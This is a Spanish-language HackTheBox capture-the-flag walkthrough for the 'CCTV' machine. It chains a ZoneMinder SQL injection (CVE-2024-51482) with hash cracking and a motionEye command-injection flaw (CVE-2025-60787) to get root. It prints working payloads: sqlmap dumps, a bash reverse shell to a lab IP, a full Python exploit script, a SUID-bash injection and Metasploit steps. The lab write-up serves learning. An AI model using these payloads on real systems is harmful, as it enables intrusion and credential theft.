CCTV
Plataforma: HackTheBox
Dificultad: Fácil

Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN cctv.txt 10.129.3.21
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-08 08:39 -0300
Nmap scan report for 10.129.3.21
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 107.46 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN cctv.txt: Guarda los resultados en el archivo “cctv.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 9.6p1)
- 80/tcp - HTTP (Apache 2.4.58) — redirige a
http://cctv.htb/
Añadimos el dominio al archivo /etc/hosts:
echo "10.129.3.21 cctv.htb" | sudo tee -a /etc/hosts
Exploración Web
Accedemos a http://cctv.htb/ y encontramos el sitio SecureVision, una empresa de videovigilancia con un botón Staff Login.

Al hacer clic en Staff Login, somos redirigidos a http://cctv.htb/zm/ — una instancia de ZoneMinder.

Probamos las credenciales por defecto admin:admin y obtenemos acceso. La versión instalada es ZoneMinder 1.37.63.

CVE-2024-51482 — SQL Injection en ZoneMinder
ZoneMinder 1.37.63 es vulnerable a inyección SQL en el parámetro tid del endpoint /zm/index.php?view=request&request=event&action=removetag. Usamos sqlmap para enumerarla automáticamente.
Enumeramos las bases de datos:
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<session_cookie>" \
--dbs --batch
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm
Enumeramos las tablas de zm:
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<session_cookie>" \
-D zm --tables --batch
Identificamos la tabla Users entre las 43 tablas de la base de datos.
Volcamos las credenciales:
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<session_cookie>" \
-D zm -T Users -C Username,Password --dump --batch

Obtenemos los hashes de los tres usuarios:
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
Cracking del Hash
Los hashes son de tipo bcrypt ($2y$10$). Crackeamos el hash de mark con john:
john mark.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

Credenciales obtenidas:
- Usuario:
mark - Contraseña:
opensesame
Acceso Inicial
Con las credenciales obtenidas, nos conectamos por SSH:
ssh mark@cctv.htb

Escalada de Privilegios
Enumeración del Sistema
Comenzamos enumerando posibles vías de escalada:
sudo -l
El usuario mark no tiene permisos sudo.
find / -perm -4000 2>/dev/null
No encontramos binarios SUID relevantes.
getcap -r / 2>/dev/null
Sin capabilities aprovechables.
Enumeración de Puertos Internos
Agotadas las vías habituales, verificamos los servicios internos activos:
ss -tlnp

Identificamos el puerto 8765 escuchando solo en localhost — corresponde a motionEye, una interfaz web para el daemon motion de videovigilancia.
Creamos un túnel SSH para exponerlo localmente:
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb -N
Accedemos a http://127.0.0.1:8765 y encontramos el panel de login de motionEye.

Buscamos credenciales en los archivos de configuración:
find /etc/motioneye /var/lib/motioneye ~/.motioneye -name "*.conf" 2>/dev/null | xargs grep -i password 2>/dev/null

Encontramos el hash SHA1 del administrador en /etc/motioneye/motion.conf:
@admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
motionEye envía el SHA1 de la contraseña directamente al autenticar, por lo que podemos usar este hash sin necesidad de crackearlo. Con él iniciamos sesión y accedemos al panel de cámaras:

CVE-2025-60787 — motionEye Authenticated RCE
motionEye tiene una vulnerabilidad de ejecución remota de comandos autenticada (CVE-2025-60787) que permite a un usuario con acceso al panel inyectar comandos a través del campo on_picture_save de la configuración de cámara, el cual es ejecutado como comando de shell cada vez que se guarda una imagen.
Método 1 — Explotación Manual
motionEye autentica sus API mediante una firma HMAC-SHA1: cada petición debe incluir _username y _signature, donde la firma se calcula como SHA1("{method}:{path}:{body}:{admin_hash}"). Esto nos permite interactuar con la API directamente usando el hash que obtuvimos.
Primero preparamos el reverse shell en el sistema:
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.16.52/4444 0>&1' > /tmp/pwn.sh
chmod 777 /tmp/pwn.sh
Levantamos el listener:
nc -lvnp 4444
A continuación usamos un script Python que:
- Obtiene la configuración actual de la cámara via
/config/1/get - Inyecta el payload en el campo
image_file_name:%Y-%m-%d;bash /tmp/pwn.sh; - Aplica la configuración via
/config/1/set - Dispara el snapshot via POST a
/action/1/snapshot
Cuando motion guarda la imagen, expande el nombre de archivo en un comando shell — el ; actúa como separador y ejecuta bash /tmp/pwn.sh como root.
#!/usr/bin/env python3
import hashlib, json, re, sys, urllib.parse, urllib.request
MOTIONEYE_URL = "http://127.0.0.1:8765"
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
_SIG_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')
def compute_signature(method, path, body, key):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for n, v in query]
parts[0] = parts[1] = ''
parts[3] = '&'.join(f'{n}={v}' for n, v in query)
path = _SIG_REGEX.sub('-', urllib.parse.urlunsplit(parts))
key = _SIG_REGEX.sub('-', key)
body_str = body and _SIG_REGEX.sub('-', body) if body and not body.startswith('---') else ''
return hashlib.sha1(f'{method}:{path}:{body_str}:{key}'.encode()).hexdigest()
def api(method, path, body=None):
sig = compute_signature(method, path, body or '', ADMIN_HASH)
sep = '&' if '?' in path else '?'
url = MOTIONEYE_URL + path + sep + '_signature=' + sig
req = urllib.request.Request(url, body.encode() if body else None, method=method)
if body:
req.add_header('Content-Type', 'application/json')
try:
return json.loads(urllib.request.urlopen(req).read())
except urllib.error.HTTPError as e:
return {"error": str(e), "body": e.read().decode()}
def exploit(ip, port):
config = api("GET", "/config/1/get?_username=admin")
key = next((k for k in ['image_file_name', 'picture_file_name'] if k in config), 'image_file_name')
print(f"[*] Injecting into '{key}'")
config[key] = '%Y-%m-%d;bash /tmp/pwn.sh;'
print(f"[*] Set config: {api('POST', '/config/1/set?_username=admin', json.dumps(config))}")
import time; time.sleep(1)
print(f"[*] Snapshot: {api('POST', '/action/1/snapshot?_username=admin', '')}")
print(f"[+] Check listener on {ip}:{port}")
if __name__ == '__main__':
exploit(sys.argv[1] if len(sys.argv) > 1 else '10.10.16.52',
sys.argv[2] if len(sys.argv) > 2 else '4444')
python3 exploit.py 10.10.16.52 4444

Obtenemos shell como root. Exploramos los directorios de usuario para encontrar la flag:
cd /home
ls
cd sa_mark
ls
cat user.txt

cd /root
cat root.txt

Método 2 — Browser UI + SUID Bash
Este método no requiere listener ni script externo. Aprovechamos la inyección directamente desde el navegador para crear un binario SUID.
Paso 1 — Iniciar sesión en http://127.0.0.1:8765 como admin.
Paso 2 — Abrir configuración de CAM 01 (ícono de engranaje sobre la cámara).
Paso 3 — Bypass de validación JS. motionEye valida los campos en el cliente. Abrimos la consola del navegador (F12) y ejecutamos:
configUiValid = function() { return true; }
Paso 4 — Inyectar payload en Image File Name (sección Still Images):
$(cp /bin/bash /tmp/r;chmod 4755 /tmp/r).%Y-%m-%d-%H-%M-%S
Paso 5 — Click en Apply.

Paso 6 — Disparar la ejecución desde el SSH como mark:
curl -s http://localhost:7999/0/action/snapshot
sleep 3
ls -la /tmp/r
El daemon motion (puerto 7999) ejecuta el snapshot, expande el filename en una shell como root y crea /tmp/r con el bit SUID activo (-rwsr-xr-x).

Paso 7 — Escalar a root usando el bash SUID:
/tmp/r -p -c "whoami"
/tmp/r -p -c "cat /root/root.txt"
/tmp/r -p -c "cat /home/sa_mark/user.txt"

Método 3 — Explotación con Metasploit
Alternativamente, usamos el módulo de Metasploit que automatiza todo el proceso:
msfconsole -q
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST 10.10.16.52
exploit

Obtenemos una sesión Meterpreter como root:
meterpreter > getuid
Server username: root
¡Root conseguido!
Hemos completado exitosamente la máquina CCTV de HackTheBox.